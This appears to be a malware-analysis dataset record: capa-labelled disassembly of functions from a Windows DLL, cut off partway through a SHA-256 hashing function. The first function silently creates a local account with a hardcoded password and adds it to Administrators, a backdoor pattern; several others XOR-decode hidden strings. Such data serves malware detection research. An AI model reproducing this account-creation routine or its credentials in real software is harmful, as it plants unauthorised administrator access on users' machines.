joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001060
Capabilities:
Add user account
Add user account to group
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x180020008]
xor rax, rsp
mov qword [rsp + 0x78], rax
lea r8, [0x180020a30]
mov ecx, 2
lea rdx, [0x180022060]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
xor edi, edi
lea r8, [rsp + 0x30]
lea rdx, [fcn.180001060]
mov qword [rsp + 0x30], rdi
lea ecx, [rdi + 6]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
test eax, eax
jne 0x1800010d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 2]
mov ebx, eax
call fcn.180005318
mov rcx, rax
lea rdx, str.GetModuleHandle_failed__error___d_n
mov r8d, ebx
call fcn.180001010
mov rdx, qword [rsp + 0x38]
mov r8d, 0x820
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x180001115
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call fcn.180005318
mov rcx, rax
lea rdx, str.GetModuleFileName_failed__error___d_n
mov r8d, ebx
call fcn.180001010
xor r9d, r9d
mov dword [rsp + 0x50], edi
xorps xmm0, xmm0
mov qword [rsp + 0x6c], rdi
lea rax, str.P_ssw0rd54321
mov dword [rsp + 0x74], edi
lea rbx, str.P00042002
mov qword [rsp + 0x48], rax
lea edx, [r9 + 1]
mov qword [rsp + 0x40], rbx
lea r8, [rsp + 0x40]
mov dword [rsp + 0x54], 1
xor ecx, ecx
mov dword [rsp + 0x68], 0x10000
movdqu xmmword [rsp + 0x58], xmm0
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
lea r9, [rsp + 0x38]
mov qword [rsp + 0x38], rbx
mov r8d, 3
mov dword [rsp + 0x20], 1
lea rdx, str.Administrators
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1800011c0
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret
Function at 0x18000cff8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000d028
xor eax, eax
jmp 0x18000d0eb
mov rbp, rbx
cmp word [rax], si
je 0x18000d04d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000d034
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000d030
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000cf18
movsxd r14, eax
test eax, eax
jne 0x18000d08b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000d021
mov rcx, r14
call fcn.180009578
mov rdi, rax
test rax, rax
jne 0x18000d0a4
xor ecx, ecx
call fcn.1800089ec
jmp 0x18000d080
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000cf18
test eax, eax
jne 0x18000d0d5
mov rcx, rdi
call fcn.1800089ec
jmp 0x18000d0df
xor ecx, ecx
call fcn.1800089ec
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180010abc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180010ad2
mov al, 1
jmp 0x180010b32
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180010ae3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180010b30
mov ecx, dword [rcx + 0x18]
nop
call fcn.18000e900
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180010b30
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180010b30
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180010b30
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180010b32
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x180013ea0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180013ec8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180013ec8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180003f10
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x180003f33
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x180003f20
mov byte [rcx + 0x47], 0
mov rax, rcx
ret

Function at 0x180003f40
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x68], rcx
xor esi, esi
cmp byte [r8 + 6], sil
je 0x180003f74
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 5
jb 0x180003f60
mov byte [r8 + 6], sil
lea rax, [r8 + 5]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], sil
cmp r9, rax
je 0x180003fa9
mov r8d, 5
mov rdx, r9
lea rcx, [rsp + 0x48]
call fcn.180008d20
nop
cmp byte [rbx + 0xa], 0
je 0x180003fd3
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x34]
xor byte [rcx + rbx], al
inc rcx
cmp rcx, 9
jb 0x180003fc0
mov byte [rbx + 0xa], 0
lea rax, [rbx + 9]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
cmp rbx, rax
je 0x180004008
mov r8d, 9
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.180008d20
nop
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x28]
movzx edx, byte [rsp + 0x20]
mov rcx, rdi
call fcn.18000ad70
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x180004061
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000405b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000405b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1800040a1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000409c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000409c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
mov rax, rdi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x1800040b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x1800040e4
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 6
jb 0x1800040d0
mov byte [r8 + 7], sil
lea rax, [r8 + 6]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], sil
cmp r9, rax
je 0x180004119
mov r8d, 6
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.180008d20
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x180004127
mov rbx, qword [rbx]
mov r8, rbx
lea rcx, [rsp + 0x28]
call fcn.18000be70
mov qword [rdi], rsi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x18000419c
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004197
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004197
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x1800041b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x1800041e4
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x1800041d0
mov byte [r8 + 9], sil
lea rax, [r8 + 8]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], sil
cmp r9, rax
je 0x180004219
mov r8d, 8
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.180008d20
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x180004227
mov rbx, qword [rbx]
mov r8, rbx
lea rcx, [rsp + 0x28]
call fcn.18000be70
mov qword [rdi], rsi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x18000429c
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004297
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004297
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x1800042b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x1800042e4
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 9
jb 0x1800042d0
mov byte [r8 + 0xa], sil
lea rax, [r8 + 9]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], sil
cmp r9, rax
je 0x180004319
mov r8d, 9
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.180008d20
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x180004327
mov rbx, qword [rbx]
mov r8, rbx
lea rcx, [rsp + 0x28]
call fcn.18000be70
mov qword [rdi], rsi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x18000439c
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004397
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004397
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x1800043b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x1800043d8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x1800043c0
mov byte [rcx + 0x136], 0
mov rax, rcx
ret
Function at 0x180005480
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x68], rcx
xor esi, esi
cmp byte [r8 + 0xb], sil
je 0x1800054b4
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 0xa
jb 0x1800054a0
mov byte [r8 + 0xb], sil
lea rax, [r8 + 0xa]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], sil
cmp r9, rax
je 0x1800054e9
mov r8d, 0xa
mov rdx, r9
lea rcx, [rsp + 0x48]
call fcn.180008d20
nop
cmp byte [rbx + 0xb], 0
je 0x180005513
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x34]
xor byte [rcx + rbx], al
inc rcx
cmp rcx, 0xa
jb 0x180005500
mov byte [rbx + 0xb], 0
lea rax, [rbx + 0xa]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
cmp rbx, rax
je 0x180005548
mov r8d, 0xa
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.180008d20
nop
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x28]
movzx edx, byte [rsp + 0x20]
mov rcx, rdi
call fcn.18000ad70
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1800055a1
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000559b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000559b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1800055e1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800055dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800055dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
mov rax, rdi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x1800055f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
cmp byte [r8 + 0xc], sil
je 0x180005624
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 0xb
jb 0x180005610
mov byte [r8 + 0xc], sil
lea rax, [r8 + 0xb]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], sil
cmp r9, rax
je 0x180005659
mov r8d, recv
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.180008d20
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x180005667
mov rbx, qword [rbx]
mov r8, rbx
lea rcx, [rsp + 0x28]
call fcn.18000be70
mov qword [rdi], rsi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1800056dc
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800056d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800056d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x180006520
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x68], rcx
xor esi, esi
cmp byte [r8 + 0xb], sil
je 0x180006554
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 0xa
jb 0x180006540
mov byte [r8 + 0xb], sil
lea rax, [r8 + 0xa]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], sil
cmp r9, rax
je 0x180006589
mov r8d, 0xa
mov rdx, r9
lea rcx, [rsp + 0x48]
call fcn.180008d20
nop
cmp byte [rbx + 0xe], 0
je 0x1800065b3
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x34]
xor byte [rcx + rbx], al
inc rcx
cmp rcx, 0xd
jb 0x1800065a0
mov byte [rbx + 0xe], 0
lea rax, [rbx + 0xd]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
cmp rbx, rax
je 0x1800065e8
mov r8d, reloc.WS2_32.dll_listen
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.180008d20
nop
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x28]
movzx edx, byte [rsp + 0x20]
mov rcx, rdi
call fcn.18000ad70
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x180006641
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000663b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000663b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x180006681
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000667c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000667c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
mov rax, rdi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x180006690
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
cmp byte [r8 + 6], sil
je 0x1800066c4
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 5
jb 0x1800066b0
mov byte [r8 + 6], sil
lea rax, [r8 + 5]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], sil
cmp r9, rax
je 0x1800066f9
mov r8d, 5
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.180008d20
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x180006707
mov rbx, qword [rbx]
mov r8, rbx
lea rcx, [rsp + 0x28]
call fcn.18000be70
mov qword [rdi], rsi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x18000677c
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006777
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006777
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x180006b70
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x68], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x180006ba4
mov ecx, esi
lea eax, [rcx - 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x180006b90
mov byte [r8 + 9], sil
lea rax, [r8 + 8]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], sil
cmp r9, rax
je 0x180006bd9
mov r8d, 8
mov rdx, r9
lea rcx, [rsp + 0x48]
call fcn.180008d20
nop
cmp byte [rbx + 9], 0
je 0x180006c03
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x34]
xor byte [rcx + rbx], al
inc rcx
cmp rcx, 8
jb 0x180006bf0
mov byte [rbx + 9], 0
lea rax, [rbx + 8]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
cmp rbx, rax
je 0x180006c38
mov r8d, 8
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.180008d20
nop
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x28]
movzx edx, byte [rsp + 0x20]
mov rcx, rdi
call fcn.18000ad70
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x180006c91
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006c8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006c8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x180006cd1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006ccc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006ccc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800e1bfc
mov rax, rdi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x180015f10
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x38]
sub rsp, 0x138
mov rax, qword [0x1801bfd40]
xor rax, rsp
mov qword [rbp + 0x20], rax
movdqa xmm1, xmmword [0x1801aa3a0]
xorps xmm0, xmm0
mov r15, qword [rbp + 0x90]
mov rsi, r9
mov r14, r8
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movdqa xmm0, xmmword [0x1801aa3c0]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rsp + 0x20], xmm1
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x50], xmm1
cmp rdx, 0x40
jbe 0x180015fa0
mov r9d, 0x40
lea r8, [rbp - 0x60]
call fcn.1800160e0
jmp 0x180015faf
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
movdqu xmm1, xmmword [rbp + rax - 0x60]
movdqu xmm0, xmmword [rsp + rax + 0x20]
xorps xmm0, xmm1
movdqu xmmword [rsp + rax + 0x20], xmm0
movdqu xmm0, xmmword [rsp + rax + 0x60]
xorps xmm0, xmm1
movdqu xmmword [rsp + rax + 0x60], xmm0
add rax, 0x10
cmp rax, 0x40
jl 0x180015fb1
lea rbx, [rsi + 0x40]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movups xmm0, xmmword [rsp + 0x20]
mov r8, rsi
movups xmm1, xmmword [rsp + 0x30]
mov rdx, r14
mov rdi, rax
movups xmmword [rax], xmm0
lea rcx, [rax + 0x40]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm1
call sub.VCRUNTIME140.dll_memcpy
mov esi, reloc.WLDAP32.dll_Ordinal_32
lea r8, [rbp - 0x20]
mov r9d, esi
mov rdx, rbx
mov rcx, rdi
call fcn.1800160e0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea ecx, [rsi + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movups xmm0, xmmword [rsp + 0x60]
lea r8, [rbp]
movups xmm1, xmmword [rsp + 0x70]
lea edx, [rsi + 0x40]
mov r9d, esi
mov rcx, rax
movups xmmword [rax], xmm0
mov rbx, rax
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rbp - 0x20]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rbp - 0x10]
movups xmmword [rax + 0x50], xmm1
call fcn.1800160e0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rbp + 0x98]
lea rdx, [rbp]
cmp rbx, rsi
mov rcx, r15
cmova rbx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, rbx
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1800e21a0
add rsp, 0x138
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1800160e0
Capabilities:
Hash data using sha256

Disassembly:
push rbp
push rbx
push rsi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
